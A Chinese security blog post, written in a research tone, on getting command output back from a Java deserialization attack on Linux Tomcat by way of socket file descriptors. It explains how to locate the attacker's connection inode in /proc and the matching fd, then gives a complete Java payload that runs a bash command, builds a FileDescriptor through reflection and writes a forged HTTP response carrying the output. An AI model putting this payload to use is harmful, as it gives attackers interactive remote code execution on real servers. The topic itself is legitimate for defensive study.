1 前言
前面讲了如果通过工具来半自动化挖掘中间件的回显构造方法,那么本篇在适用性上远比前文小,文件描述符只存在于Linux环境下,甚至在Mac环境下都不能调试,因此其局限性还是非常大的,另外在实际环境中如果遇到反代这种大型网络环境,通过这种方法来获取回显也会打上一个大大的问号,所以本文还是保持研究的态度来对这种回显方法一探究竟。
2 实践
在实践前,我们先通过人为模拟来寻找我们所能操控的文件描述符编号
还是熟悉的一个反序列化的应用案例,这里debug后我们来到服务器查看相对应的文件描述信息
这里对照第五行发现其中的ip地址经过了十六位进制转化,服务器的ip地址为192.168.59.148,对应local_address,而本机ip地址为192.168.59.1,对应remote_address,这里以192.168.59.148为例进行十六进制转化,转化后为C0.A8.3B.94,按照顺序排序后为943BA8C0,后面的1F90怀疑是socket的连接端口,这个暂且不深究,那么看到这里我们就能够知道sl对应5的这条信息其实就是我们本机与远端服务器的交互信息,其中inode为58016。
那么讲到这里就开始出现了如何取这个uid编号的问题,有人说利用ip地址,那么假设是vps的环境下,ip地址固定,通过寻找ip字符串就能拿到相应的inode编号,这是一种办法,而这里由于只有笔者一台服务器,所以这里可以很明显的发现存在交互的socket连接信息其中存在-1的字段,那么在本文的实验环境下是可以通过这个-1的标志位来取的,实际环境下不建议这么做。。
另外这里走了很长的弯路,一直以为文件描述信息在/proc/thread-self/net/tcp其中,但是经过不断地实验发现取上述地址并不能获得回显,但是会在catalina的记录里出现,因此这里取地址的时候需要越过这个坑。
那么这里我们已经取到了inode编号为58016,接下来到对应的pid目录下去看一看socket连接信息
这里tomcat的pid编号为3303,通过命令“ls -l /proc/3303/fd”即可查看tomcat的所有连接信息,这里对应58016编号,可以看到文件描述符为62
至此我们通过手工方法复现了寻找文件描述符的方法,最后通过java代码来篡写fd为62的文件内容
以下附上实验代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
//ShellExec
String command = “whoami”;
java.util.List cmds = new java.util.ArrayList();
cmds.add(“/bin/bash”);
cmds.add(“-c”);
cmds.add(command);
ProcessBuilder pb = new ProcessBuilder(cmds);
pb.redirectErrorStream(true);
Process proc = pb.start();
byte[] out = new byte[1024 * 10];
proc.getInputStream().read(out);
//GetInode
java.io.File f1 = new java.io.File(“/proc/thread-self/net/tcp6”);
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(f1));
String line,inode,uid = “”;
while ((line = br.readLine()) != null) {
String[] lineArr = line.split(“\s+”);
if (lineArr.length == 18){
inode = lineArr[17];
java.util.regex.Pattern pattern = java.util.regex.Pattern.compile(“^[-\+]?[\d]*$”);
if(pattern.matcher(inode).matches() && Integer.parseInt(inode) < 0) {
uid = lineArr[10];
break;
}
}
}
//getFdFile
String tmp = “”;
java.io.File file = new java.io.File(“/proc/thread-self/fd”);
java.io.File[] fs = file.listFiles();
for (int i=0;i<fs.length;i++) {
java.io.File f = fs[i];
java.nio.file.Path path = java.nio.file.Paths.get(f.toString(), new String[]{“”});
String link = java.nio.file.Files.readSymbolicLink(path).toString();
if (link.contains(uid)) {
tmp = f.toString();
break;
}
}
//getFd
Class clazz = Class.forName(“java.io.FileDescriptor”);
java.lang.reflect.Constructor m = clazz.getDeclaredConstructor(new Class[]{Integer.TYPE});
m.setAccessible(true);
String[] fdArr = tmp.split(“/”);
String fdId = fdArr[fdArr.length – 1];
java.io.FileDescriptor fd = (java.io.FileDescriptor) m.newInstance(new Object[]{new Integer(fdId)});
//writeFd
String body = new String(out);
String response = “HTTP/1.1 200 OKrn”
+ “Content-Type: text/htmlrn”
+ “Content-Length: “ + body.length()
+ “rnrn”
+ body
+ “rnrn”;
java.io.FileOutputStream os = new java.io.FileOutputStream(fd);
os.write(response.getBytes());
os.close();
|
最后通过模拟http返回包内容来构造回显内容,然后配合上反序列化,至此就能够拿到页面回显。
3 后记
这种回显构造的方式仅局限于linux环境,所以局限性还是非常大的,并不如前文提到的利用response构造回显应用的那么广泛。
这个比赛参加了正赛前的热身赛,感觉题目出的可以,但是正赛那天因为有事,没有参加(第一次用vpn连接内网做ctf,感觉好刺激) 附上正赛的wp,以供学习吧~ 传送门:HappyCTF-writeup 相关推荐: 利用aircrack-…
请登录后发表评论
注册